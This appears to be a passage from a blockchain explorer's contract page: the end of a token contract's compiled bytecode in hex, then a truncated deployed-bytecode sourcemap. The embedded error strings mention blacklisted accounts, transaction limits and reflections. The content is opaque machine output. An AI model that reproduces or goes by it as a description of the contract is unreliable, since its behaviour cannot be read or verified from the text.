0613f06603f836131f2565b9150613f1182613eaa565b604082019050919050565b60006020820190508181036000830152613f3581613ef9565b9050919050565b7f544f4b454e3a204d6178205472616e73616374696f6e204c696d697400000000600082015250565b6000613f72601c836131f2565b9150613f7d82613f3c565b602082019050919050565b60006020820190508181036000830152613fa181613f65565b9050919050565b7f544f4b454e3a20596f7572206163636f756e7420697320626c61636b6c69737460008201527f6564210000000000000000000000000000000000000000000000000000000000602082015250565b60006140046023836131f2565b915061400f82613fa8565b604082019050919050565b6000602082019050818103600083015261403381613ff7565b9050919050565b7f544f4b454e3a2042616c616e636520657863656564732077616c6c657420736960008201527f7a65210000000000000000000000000000000000000000000000000000000000602082015250565b60006140966023836131f2565b91506140a18261403a565b604082019050919050565b600060208201905081810360008301526140c581614089565b9050919050565b60006140d782613288565b91506140e283613288565b92508282039050818111156140fa576140f96138ce565b5b92915050565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b600061415c602a836131f2565b915061416782614100565b604082019050919050565b6000602082019050818103600083015261418b8161414f565b9050919050565b6000815190506141a1816130db565b92915050565b6000602082840312156141bd576141bc612fdd565b5b60006141cb84828501614192565b91505092915050565b600081519050919050565b600082825260208201905092915050565b6000819050602082019050919050565b614209816130c9565b82525050565b600061421b8383614200565b60208301905092915050565b6000602082019050919050565b600061423f826141d4565b61424981856141df565b9350614254836141f0565b8060005b8381101561428557815161426c888261420f565b975061427783614227565b925050600181019050614258565b5085935050505092915050565b600060a0820190506142a760008301886133ae565b6142b46020830187613971565b81810360408301526142c68186614234565b90506142d560608301856135f4565b6142e260808301846133ae565b9695505050505050565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b6000614322601b836131f2565b915061432d826142ec565b602082019050919050565b6000602082019050818103600083015261435181614315565b9050919050565b600061436382613288565b915061436e83613288565b925082820261437c81613288565b91508282048414831517614393576143926138ce565b5b5092915050565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b60006143f66021836131f2565b91506144018261439a565b604082019050919050565b60006020820190508181036000830152614425816143e9565b905091905056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220dc048c2b8658be408e75cdb1d98d0ed3e5934bba7d131b634f1e5350cc0e306764736f6c63430008120033

Deployed Bytecode Sourcemap

4365:14750:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;13937:169;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;6889:83;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;7814:193;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;13361:81;;;;;;;;;;;;;:::i;:::-;;5719:41;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;7166:95;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;8956:734;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;8015:446;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;6033:54;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;7075:83;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5767:28;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;14114:196;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;18370:101;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;13694:235;;;;;;;;;;;;;:::i;:::-;;7269:138;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;1852:148;;;;;;;;;;;;;:::i;:::-;;18510:108;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;18991:118;;;;;;;;;;;;;:::i;:::-;;5916:51;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5461:43;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;1638:79;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5974:52;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;6980:87;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;18179:139;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;7415:199;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5423:36;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;13450:236;;;;;;;;;;;;;:::i;:::-;;18749:234;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;17718:409;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;7622:184;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;8798:156;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;18626:115;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;2008:244;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;13937:169;1775:12;:10;:12::i;:::-;1765:22;;:6;;;;;;;;;;:22;;;1757:67;;;;;;;;;;;;:::i;:::-;;;;;;;;;14013:9:::1;14008:91;14032:5;:12;14028:1;:16;14008:91;;;14083:4;14066;:14;14071:5;14077:1;14071:8;;;;;;;;:::i;:::-;;;;;;;;14066:14;;;;;;;;;;;;;;;;:21;;;;;;;;;;;;;;;;;;14046:3;;;;;:::i;:::-;;;;14008:91;;;;13937:169:::0;:::o;6889:83::-;6926:13;6959:5;;;;;;;;;;;;;;;;;6952:12;;6889:83;:::o;7814:193::-;7916:4;7938:39;7947:12;:10;:12::i;:::-;7961:7;7970:6;7938:8;:39::i;:::-;7995:4;7988:11;;7814:193;;;;:::o;13361:81::-;1775:12;:10;:12::i;:::-;1765:22;;:6;;;;;;;;;;:22;;;1757:67;;;;;;;;;;;;:::i;:::-;;;;;;;;;13430:4:::1;13416:11;;:18;;;;;;;;;;;;;;;;;;13361:81::o:0;5719:41::-;;;;;;;;;;;;;:::o;7166:95::-;7219:7;4925:18;7239:14;;7166:95;:::o;8956:734::-;9183:4;9205:9;9217:1;9205:13;;9200:461;9224:10;:17;9220:1;:21;9200:461;;;9290:10;9301:1;9290:13;;;;;;;;:::i;:::-;;;;;;;;9268:53;;9277:11;9268:53;;;9305:12;9318:1;9305:15;;;;;;;;:::i;:::-;;;;;;;;9268:53;;;;;;:::i;:::-;;;;;;;;9532:10;9543:1;9532:13;;;;;;;;:::i;:::-;;;;;;;;9341:219;;9364:42;9341:219;;;9425:12;9438:1;9425:15;;;;;;;;:::i;:::-;;;;;;;;9459:1;9479;9499:11;9511:1;9499:14;;;;;;;;:::i;:::-;;;;;;;;9341:219;;;;;;;;;:::i;:::-;;;;;;;;9582:12;9575:30;;;9606:10;9617:1;9606:13;;;;;;;;:::i;:::-;;;;;;;;9621:11;9634;9646:1;9634:14;;;;;;;;:::i;:::-;;;;;;;;9575:74;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;9243:3;;;;;:::i;:::-;;;;9200:461;;;;9678:4;9671:11;;8956:734;;;;;;;:::o;8015:446::-;8147:4;8164:36;8174:6;8182:9;8193:6;8164:9;:36::i;:::-;8211:220;8234:6;8255:12;:10;:12::i;:::-;8282:138;8338:6;8282:138;;;;;;;;;;;;;;;;;:11;:19;8294:6;8282:19;;;;;;;;;;;;;;;:33;8302:12;:10;:12::i;:::-;8282:33;;;;;;;;;;;;;;;;:37;;:138;;;;;:::i;:::-;8211:8;:220::i;:::-;8449:4;8442:11;;8015:446;;;;;:::o;6033:54::-;;;;:::o;7075:83::-;7116:5;4599:1;7134:16;;7075:83;:::o;5767:28::-;;;;;;;;;;;;;:::o;14114:196::-;14197:7;:5;:7::i;:::-;14183:21;;:10;:21;;;:68;;;;14249:2;14233:13;:11;:13::i;:::-;:18;;;;:::i;:::-;14208:21;14218:10;14208:9;:21::i;:::-;:43;;14183:68;14165:114;;;;;;;;;;;;:::i;:::-;;;;;;;;;14301:5;14286:4;:12;14291:6;14286:12;;;;;;;;;;;;;;;;:20;;;;;;;;;;;;;;;;;;14114:196;:::o;18370:101::-;1775:12;:10;:12::i;:::-;1765:22;;:6;;;;;;;;;;:22;;;1757:67;;;;;;;;;;;;:::i;:::-;;;;;;;;;18451:12:::1;18437:11;;:26;;;;;;;;;;;;;;;;;;18370:101:::0;:::o;13694:235::-;13760:19;;;;;;;;;;;13744:35;;:12;:10;:12::i;:::-;:35;;;:72;;;;13799:17;;;;;;;;;;;13783:33;;:12;:10;:12::i;:::-;:33;;;13744:72;13736:81;;;;;;13828:26;13857:21;13828:50;;13889:32;13902:18;13889:12;:32::i;:::-;13725:204;13694:235::o;7269:138::-;7335:7;7362:37;7382:7;:16;7390:7;7382:16;;;;;;;;;;;;;;;;7362:19;:37::i;:::-;7355:44;;7269:138;;;:::o;1852:148::-;1775:12;:10;:12::i;:::-;1765:22;;:6;;;;;;;;;;:22;;;1757:67;;;;;;;;;;;;:::i;:::-;;;;;;;;;1959:1:::1;1922:40;;1943:6;::::0;::::1;;;;;;;;1922:40;;;;;;;;;;;;1990:1;1973:6:::0;::::1;:19;;;;;;;;;;;;;;;;;;1852:148::o:0;18510:108::-;1775:12;:10;:12::i;:::-;1765:22;;:6;;;;;;;;;;:22;;;1757:67;;;;;;;;;;;;:::i;:::-;;;;;;;;;18599:11:::1;18584:12;:26;;;;18510:108:::0;:::o;18991:118::-;1775:12;:10;:12::i;:::-;1765:22;;:6;;;;;;;;;;:22;;;1757:67;;;;;;;;;;;;:::i;:::-;;;;;;;;;4925:18:::1;19044:12;:22;;;;4925:18;19077:14;:24;;;;18991:118::o:0;5916:51::-;;;;:::o;5461:43::-;;;;;;;;;;;;;;;;;:::o;1638:79::-;1676:7;1703:6;;;;;;;;;;;1696:13;;1638:79;:::o;5974:52::-;;;;:::o;6980:87::-;7019:13;7052:7;;;;;;;;;;;;;;;;;7045:14;;6980:87;:::o;18179:139::-;1775:12;:10;:12::i;:::-;1765:22;;:6;;;;;;;;;;:22;;;1757:67;;;;;;;;;;;;:::i;:::-;;;;;;;;;18292:18:::1;18270:19;:40;;;;18179:139:::0;:::o;7415:199::-;7520:4;7542:42;7552:12;:10;:12::i;:::-;7566:9;7577:6;7542:9;:42::i;:::-;7602:4;7595:11;;7415:199;;;;:::o;5423:36::-;;;;;;;;;;;;;;;;;;;;;;:::o;13450:236::-;13516:19;;;;;;;;;;;13500:35;;:12;:10;:12::i;:::-;:35;;;:72;;;;13555:17;;;;;;;;;;;13539:33;;:12;:10;:12::i;:::-;:33;;;13500:72;13492:81;;;;;;13584:23;13610:24;13628:4;13610:9;:24::i;:::-;13584:50;;13645:33;13662:15;13645:16;:33::i;:::-;13481:205;13450:236::o;18749:234::-;1775:12;:10;:12::i;:::-;1765:22;;:6;;;;;;;;;;:22;;;1757:67;;;;;;;;;;;;:::i;:::-;;;;;;;;;18866:9:::1;18862:114;18885:8;;:15;;18881:1;:19;18862:114;;;18956:8;18922:18;:31;18941:8;;18950:1;18941:11;;;;;;;:::i;:::-;;;;;;;;;;;;;;;:::i;:::-;18922:31;;;;;;;;;;;;;;;;:42;;;;;;;;;;;;;;;;;;18902:3;;;;;:::i;:::-;;;;18862:114;;;;18749:234:::0;;;:::o;17718:409::-;1775:12;:10;:12::i;:::-;1765:22;;:6;;;;;;;;;;:22;;;1757:67;;;;;;;;;;;;:::i;:::-;;;;;;;;;17899:2:::1;17883:11;17867:13;:27;;;;:::i;:::-;17866:35;;17858:44;;;::::0;::::1;;17956:2;17939:12;17922:14;:29;;;;:::i;:::-;17921:37;;17913:46;;;::::0;::::1;;17987:13;17970:14;:30;;;;18029:14;18011:15;:32;;;;18069:11;18054:12;:26;;;;18107:12;18091:13;:28;;;;17718:409:::0;;;;:::o;7622:184::-;7739:7;7771:11;:18;7783:5;7771:18;;;;;;;;;;;;;;;:27;7790:7;7771:27;;;;;;;;;;;;;;;;7764:34;;7622:184;;;;:::o;8798:156::-;8874:4;8912:3;8896:28;;8905:5;8896:28;;;8917:6;8896:28;;;;;;:::i;:::-;;;;;;;;8942:4;8935:11;;8798:156;;;;;:::o;18626:115::-;1775:12;:10;:12::i;:::-;1765:22;;:6;;;;;;;;;;:22;;;1757:67;;;;;;;;;;;;:::i;:::-;;;;;;;;;18720:13:::1;18703:14;:30;;;;18626:115:::0;:::o;2008:244::-;1775:12;:10;:12::i;:::-;1765:22;;:6;;;;;;;;;;:22;;;1757:67;;;;;;;;;;;;:::i;:::-;;;;;;;;;2117:1:::1;2097:22;;:8;:22;;::::0;2089:73:::1;;;;;;;;;;;;:::i;:::-;;;;;;;;;2207:8;2178:38;;2199:6;::::0;::::1;;;;;;;;2178:38;;;;;;;;;;;;2236:8;2227:6;::::0;:17:::1;;;;;;;;;;;;;;;;;;2008:244:::0;:::o;112:98::-;165:7;192:10;185:17;;112:98;:::o;10048:369::-;10192:1;10175:19;;:5;:19;;;10167:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;10273:1;10254:21;;:7;:21;;;10246:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;10355:6;10325:11;:18;10337:5;10325:18;;;;;;;;;;;;;;;:27;10344:7;10325:27;;;;;;;;;;;;;;;:36;;;;10393:7;10377:32;;10386:5;10377:32;;;10402:6;10377:32;;;;;;:::i;:::-;;;;;;;;10048:369;;;:::o;10425:2330::-;10563:1;10547:18;;:4;:18;;;10539:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;10640:1;10626:16;;:2;:16;;;10618:64;;;;;;;;;;;;:::i;:::-;;;;;;;;;10710:1;10701:6;:10;10693:64;;;;;;;;;;;;:::i;:::-;;;;;;;;;10782:7;:5;:7::i;:::-;10774:15;;:4;:15;;;;:32;;;;;10799:7;:5;:7::i;:::-;10793:13;;:2;:13;;;;10774:32;10770:1259;;;10863:11;;;;;;;;;;;10858:144;;10911:7;:5;:7::i;:::-;10903:15;;:4;:15;;;10895:91;;;;;;;;;;;;:::i;:::-;;;;;;;;;10858:144;11036:12;;11026:6;:22;;11018:63;;;;;;;;;;;;:::i;:::-;;;;;;;;;11105:4;:10;11110:4;11105:10;;;;;;;;;;;;;;;;;;;;;;;;;11104:11;:24;;;;;11120:4;:8;11125:2;11120:8;;;;;;;;;;;;;;;;;;;;;;;;;11119:9;11104:24;11096:72;;;;;;;;;;;;:::i;:::-;;;;;;;;;11194:13;;;;;;;;;;;11188:19;;:2;:19;;;11185:146;;11261:14;;11252:6;11236:13;11246:2;11236:9;:13::i;:::-;:22;;;;:::i;:::-;:39;11228:87;;;;;;;;;;;;:::i;:::-;;;;;;;;;11185:146;11347:28;11378:24;11396:4;11378:9;:24::i;:::-;11347:55;;11417:12;11456:19;;11432:20;:43;;11417:58;;11519:12;;11495:20;:36;11492:124;;11588:12;;11565:35;;11492:124;11636:7;:18;;;;;11648:6;;;;;;;;;;11647:7;11636:18;:43;;;;;11666:13;;;;;;;;;;;11658:21;;:4;:21;;;;11636:43;:58;;;;;11683:11;;;;;;;;;;;11636:58;:87;;;;;11699:18;:24;11718:4;11699:24;;;;;;;;;;;;;;;;;;;;;;;;;11698:25;11636:87;:114;;;;;11728:18;:22;11747:2;11728:22;;;;;;;;;;;;;;;;;;;;;;;;;11727:23;11636:114;11632:386;;;11771:38;11788:20;11771:16;:38::i;:::-;11828:26;11857:21;11828:50;;11922:1;11901:18;:22;11897:106;;;11948:35;11961:21;11948:12;:35::i;:::-;11897:106;11752:266;11632:386;10808:1221;;10770:1259;12041:12;12056:4;12041:19;;12105:18;:24;12124:4;12105:24;;;;;;;;;;;;;;;;;;;;;;;;;:50;;;;12133:18;:22;12152:2;12133:22;;;;;;;;;;;;;;;;;;;;;;;;;12105:50;12104:102;;;;12169:13;;;;;;;;;;;12161:21;;:4;:21;;;;:44;;;;;12192:13;;;;;;;;;;;12186:19;;:2;:19;;;;12161:44;12104:102;12100:594;;;12233:5;12223:15;;12100:594;;;12316:13;;;;;;;;;;;12308:21;;:4;:21;;;:55;;;;;12347:15;;;;;;;;;;;12333:30;;:2;:30;;;;12308:55;12305:162;;;12396:14;;12384:9;:26;;;;12439:12;;12429:7;:22;;;;12305:162;12526:13;;;;;;;;;;;12520:19;;:2;:19;;;:55;;;;;12559:15;;;;;;;;;;;12543:32;;:4;:32;;;;12520:55;12516:165;;;12608:15;;12596:9;:27;;;;12652:13;;12642:7;:23;;;;12516:165;12100:594;12706:41;12721:4;12727:2;12731:6;12739:7;12706:14;:41::i;:::-;10528:2227;10425:2330;;;:::o;2616:224::-;2736:7;2769:1;2764;:6;;2772:12;2756:29;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;2796:9;2812:1;2808;:5;;;;:::i;:::-;2796:17;;2831:1;2824:8;;;2616:224;;;;;:::o;13254:99::-;13311:17;;;;;;;;;;;:26;;:34;13338:6;13311:34;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;13254:99;:::o;8469:323::-;8564:7;8622;;8611;:18;;8589:110;;;;;;;;;;;;:::i;:::-;;;;;;;;;8710:19;8732:10;:8;:10::i;:::-;8710:32;;8760:24;8772:11;8760:7;:11;;:24;;;;:::i;:::-;8753:31;;;8469:323;;;:::o;12763:483::-;6190:4;6181:6;;:13;;;;;;;;;;;;;;;;;;12841:21:::1;12879:1;12865:16;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;12841:40;;12910:4;12892;12897:1;12892:7;;;;;;;;:::i;:::-;;;;;;;:23;;;;;;;;;::::0;::::1;12936:15;;;;;;;;;;;:20;;;:22;;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;12926:4;12931:1;12926:7;;;;;;;;:::i;:::-;;;;;;;:32;;;;;;;;;::::0;::::1;12969:62;12986:4;13001:15;;;;;;;;;;;13019:11;12969:8;:62::i;:::-;13042:15;;;;;;;;;;;:66;;;13123:11;13149:1;13165:4;13192;13212:15;13042:196;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;::::0;::::1;;;;;;;;;12830:416;6226:5:::0;6217:6;;:14;;;;;;;;;;;;;;;;;;12763:483;:::o;14320:282::-;14476:7;14471:28;;14485:14;:12;:14::i;:::-;14471:28;14510:44;14528:6;14536:9;14547:6;14510:17;:44::i;:::-;14570:7;14565:29;;14579:15;:13;:15::i;:::-;14565:29;14320:282;;;;:::o;17281:164::-;17323:7;17344:15;17361;17380:19;:17;:19::i;:::-;17343:56;;;;17417:20;17429:7;17417;:11;;:20;;;;:::i;:::-;17410:27;;;;17281:164;:::o;3102:132::-;3160:7;3187:39;3191:1;3194;3187:39;;;;;;;;;;;;;;;;;:3;:39::i;:::-;3180:46;;3102:132;;;;:::o;9696:219::-;9756:1;9743:9;;:14;:30;;;;;9772:1;9761:7;;:12;9743:30;9775:7;9739:43;9814:9;;9794:17;:29;;;;9852:7;;9834:15;:25;;;;9884:1;9872:9;:13;;;;9906:1;9896:7;:11;;;;9696:219;:::o;14610:610::-;14757:15;14787:23;14825:12;14852:23;14890:12;14917:13;14944:19;14955:7;14944:10;:19::i;:::-;14742:221;;;;;;;;;;;;14992:28;15012:7;14992;:15;15000:6;14992:15;;;;;;;;;;;;;;;;:19;;:28;;;;:::i;:::-;14974:7;:15;14982:6;14974:15;;;;;;;;;;;;;;;:46;;;;15052:39;15075:15;15052:7;:18;15060:9;15052:18;;;;;;;;;;;;;;;;:22;;:39;;;;:::i;:::-;15031:7;:18;15039:9;15031:18;;;;;;;;;;;;;;;:60;;;;15102:16;15112:5;15102:9;:16::i;:::-;15129:23;15141:4;15147;15129:11;:23::i;:::-;15185:9;15168:44;;15177:6;15168:44;;;15196:15;15168:44;;;;;;:::i;:::-;;;;;;;;14731:489;;;;;;14610:610;;;:::o;9923:117::-;9979:17;;9967:9;:29;;;;10017:15;;10007:7;:25;;;;9923:117::o;17453:257::-;17504:7;17513;17533:15;17551:7;;17533:25;;17569:15;4925:18;17569:25;;17619:20;4925:18;17619:7;;:11;;:20;;;;:::i;:::-;17609:7;:30;17605:61;;;17649:7;;4925:18;17641:25;;;;;;;;17605:61;17685:7;17694;17677:25;;;;;;17453:257;;;:::o;3242:223::-;3362:7;3394:1;3390;:5;3397:12;3382:28;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;3421:9;3437:1;3433;:5;;;;:::i;:::-;3421:17;;3456:1;3449:8;;;3242:223;;;;;:::o;15639:615::-;15739:7;15761;15783;15805;15827;15849;15885:23;15910:12;15924:13;15954:40;15966:7;15975:9;;15986:7;;15954:11;:40::i;:::-;15884:110;;;;;;16005:19;16027:10;:8;:10::i;:::-;16005:32;;16049:15;16066:23;16091:12;16120:46;16132:7;16141:4;16147:5;16154:11;16120;:46::i;:::-;16048:118;;;;;;16185:7;16194:15;16211:4;16217:15;16234:4;16240:5;16177:69;;;;;;;;;;;;;;;;;;;15639:615;;;;;;;:::o;2472:136::-;2530:7;2557:43;2561:1;2564;2557:43;;;;;;;;;;;;;;;;;:3;:43::i;:::-;2550:50;;2472:136;;;;:::o;2285:179::-;2343:7;2363:9;2379:1;2375;:5;;;;:::i;:::-;2363:17;;2404:1;2399;:6;;2391:46;;;;;;;;;;;;:::i;:::-;;;;;;;;;2455:1;2448:8;;;2285:179;;;;:::o;15228:211::-;15281:19;15303:10;:8;:10::i;:::-;15281:32;;15324:13;15340:22;15350:11;15340:5;:9;;:22;;;;:::i;:::-;15324:38;;15398:33;15425:5;15398:7;:22;15414:4;15398:22;;;;;;;;;;;;;;;;:26;;:33;;;;:::i;:::-;15373:7;:22;15389:4;15373:22;;;;;;;;;;;;;;;:58;;;;15270:169;;15228:211;:::o;15447:147::-;15525:17;15537:4;15525:7;;:11;;:17;;;;:::i;:::-;15515:7;:27;;;;15566:20;15581:4;15566:10;;:14;;:20;;;;:::i;:::-;15553:10;:33;;;;15447:147;;:::o;16262:469::-;16431:7;16453;16475;16510:12;16525:30;16551:3;16525:21;16537:8;16525:7;:11;;:21;;;;:::i;:::-;:25;;:30;;;;:::i;:::-;16510:45;;16566:13;16582:28;16606:3;16582:19;16594:6;16582:7;:11;;:19;;;;:::i;:::-;:23;;:28;;;;:::i;:::-;16566:44;;16621:23;16647:28;16669:5;16647:17;16659:4;16647:7;:11;;:17;;;;:::i;:::-;:21;;:28;;;;:::i;:::-;16621:54;;16694:15;16711:4;16717:5;16686:37;;;;;;;;;16262:469;;;;;;;:::o;16739:534::-;16933:7;16955;16977;17012:15;17030:24;17042:11;17030:7;:11;;:24;;;;:::i;:::-;17012:42;;17065:12;17080:21;17089:11;17080:4;:8;;:21;;;;:::i;:::-;17065:36;;17112:13;17128:22;17138:11;17128:5;:9;;:22;;;;:::i;:::-;17112:38;;17161:23;17187:28;17209:5;17187:17;17199:4;17187:7;:11;;:17;;;;:::i;:::-;:21;;:28;;;;:::i;:::-;17161:54;;17234:7;17243:15;17260:4;17226:39;;;;;;;;;;16739:534;;;;;;;;:::o;2848:246::-;2906:7;2935:1;2930;:6;2926:47;;2960:1;2953:8;;;;2926:47;2983:9;2999:1;2995;:5;;;;:::i;:::-;2983:17;;3028:1;3023;3019;:5;;;;:::i;:::-;:10;3011:56;;;;;;;;;;;;:::i;:::-;;;;;;;;;3085:1;3078:8;;;2848:246;;;;;:::o;7:75:1:-;40:6;73:2;67:9;57:19;;7:75;:::o;88:117::-;197:1;194;187:12;211:117;320:1;317;310:12;334:117;443:1;440;433:12;457:102;498:6;549:2;545:7;540:2;533:5;529:14;525:28;515:38;;457:102;;;:::o;565:180::-;613:77;610:1;603:88;710:4;707:1;700:15;734:4;731:1;724:15;751:281;834:27;856:4;834:27;:::i;:::-;826:6;822:40;964:6;952:10;949:22;928:18;916:10;913:34;910:62;907:88;;;975:18;;:::i;:::-;907:88;1015:10;1011:2;1004:22;794:238;751:281;;:::o;1038:129::-;1072:6;1099:20;;:::i;:::-;1089:30;;1128:33;1156:4;1148:6;1128:33;:::i;:::-;1038:129;;;:::o;1173:311::-;1250:4;1340:18;1332:6;1329:30;1326:56;;;1362:18;;:::i;:::-;1326:56;1412:4;1404:6;1400:17;1392:25;;1472:4;1466;1462:15;1454:23;;1173:311;;;:::o;1490:117::-;1599:1;1596;1589:12;1613:126;1650:7;1690:42;1683:5;1679:54;1668:65;;1613:126;;;:::o;1745:96::-;1782:7;1811:24;1829:5;1811:24;:::i;:::-;1800:35;;1745:96;;;:::o;1847:122::-;1920:24;1938:5;1920:24;:::i;:::-;1913:5;1910:35;1900:63;;1959:1;1956;1949:12;1900:63;1847:122;:::o;1975:139::-;2021:5;2059:6;2046:20;2037:29;;2075:33;2102:5;2075:33;:::i;:::-;1975:139;;;;:::o;2137:710::-;2233:5;2258:81;2274:64;2331:6;2274:64;:::i;:::-;2258:81;:::i;:::-;2249:90;;2359:5;2388:6;2381:5;2374:21;2422:4;2415:5;2411:16;2404:23;;2475:4;2467:6;2463:17;2455:6;2451:30;2504:3;2496:6;2493:15;2490:122;;;2523:79;;:::i;:::-;2490:122;2638:6;2621:220;2655:6;2650:3;2647:15;2621:220;;;2730:3;2759:37;2792:3;2780:10;2759:37;:::i;:::-;2754:3;2747:50;2826:4;2821:3;2817:14;2810:21;;2697:144;2681:4;2676:3;2672:14;2665:21;;2621:220;;;2625:21;2239:608;;2137:710;;;;;:::o;2870:370::-;2941:5;2990:3;2983:4;2975:6;2971:17;2967:27;2957:122;;2998:79;;:::i;:::-;2957:122;3115:6;3102:20;3140:94;3230:3;3222:6;3215:4;3207:6;3203:17;3140:94;:::i;:::-;3131:103;;2947:293;2870:370;;;;:::o;3246:539::-;3330:6;3379:2;3367:9;3358:7;3354:23;3350:32;3347:119;;;3385:79;;:::i;:::-;3347:119;3533:1;3522:9;3518:17;3505:31;3563:18;3555:6;3552:30;3549:117;;;3585:79;;:::i;:::-;3549:117;3690:78;3760:7;3751:6;3740:9;3736:22;3690:78;:::i;:::-;3680:88;;3476:302;3246:539;;;;:::o;3791:99::-;3843:6;3877:5;3871:12;3861:22;;3791:99;;;:::o;3896:169::-;3980:11;4014:6;4009:3;4002:19;4054:4;4049:3;4045:14;4030:29;;3896:169;;;;:::o;4071:246::-;4152:1;4162:113;4176:6;4173:1;4170:13;4162:113;;;4261:1;4256:3;4252:11;4246:18;4242:1;4237:3;4233:11;4226:39;4198:2;4195:1;4191:10;4186:15;;4162:113;;;4309:1;4300:6;4295:3;4291:16;4284:27;4133:184;4071:246;;;:::o;4323:377::-;4411:3;4439:39;4472:5;4439:39;:::i;:::-;4494:71;4558:6;4553:3;4494:71;:::i;:::-;4487:78;;4574:65;4632:6;4627:3;4620:4;4613:5;4609:16;4574:65;:::i;:::-;4664:29;4686:6;4664:29;:::i;:::-;4659:3;4655:39;4648:46;;4415:285;4323:377;;;;:::o;4706:313::-;4819:4;4857:2;4846:9;4842:18;4834:26;;4906:9;4900:4;4896:20;4892:1;4881:9;4877:17;4870:47;4934:78;5007:4;4998:6;4934:78;:::i;:::-;4926:86;;4706:313;;;;:::o;5025:77::-;5062:7;5091:5;5080:16;;5025:77;;;:::o;5108:122::-;5181:24;5199:5;5181:24;:::i;:::-;5174:5;5171:35;5161:63;;5220:1;5217;5210:12;5161:63;5108:122;:::o;5236:139::-;5282:5;5320:6;5307:20;5298:29;;5336:33;5363:5;5336:33;:::i;:::-;5236:139;;;;:::o;5381:474::-;5449:6;5457;5506:2;5494:9;5485:7;5481:23;5477:32;5474:119;;;5512:79;;:::i;:::-;5474:119;5632:1;5657:53;5702:7;5693:6;5682:9;5678:22;5657:53;:::i;:::-;5647:63;;5603:117;5759:2;5785:53;5830:7;5821:6;5810:9;5806:22;5785:53;:::i;:::-;5775:63;;5730:118;5381:474;;;;;:::o;5861:90::-;5895:7;5938:5;5931:13;5924:21;5913:32;;5861:90;;;:::o;5957:109::-;6038:21;6053:5;6038:21;:::i;:::-;6033:3;6026:34;5957:109;;:::o;6072:210::-;6159:4;6197:2;6186:9;6182:18;6174:26;;6210:65;6272:1;6261:9;6257:17;6248:6;6210:65;:::i;:::-;6072:210;;;;:::o;6288:60::-;6316:3;6337:5;6330:12;;6288:60;;;:::o;6354:142::-;6404:9;6437:53;6455:34;6464:24;6482:5;6464:24;:::i;:::-;6455:34;:::i;:::-;6437:53;:::i;:::-;6424:66;;6354:142;;;:::o;6502:126::-;6552:9;6585:37;6616:5;6585:37;:::i;:::-;6572:50;;6502:126;;;:::o;6634:152::-;6710:9;6743:37;6774: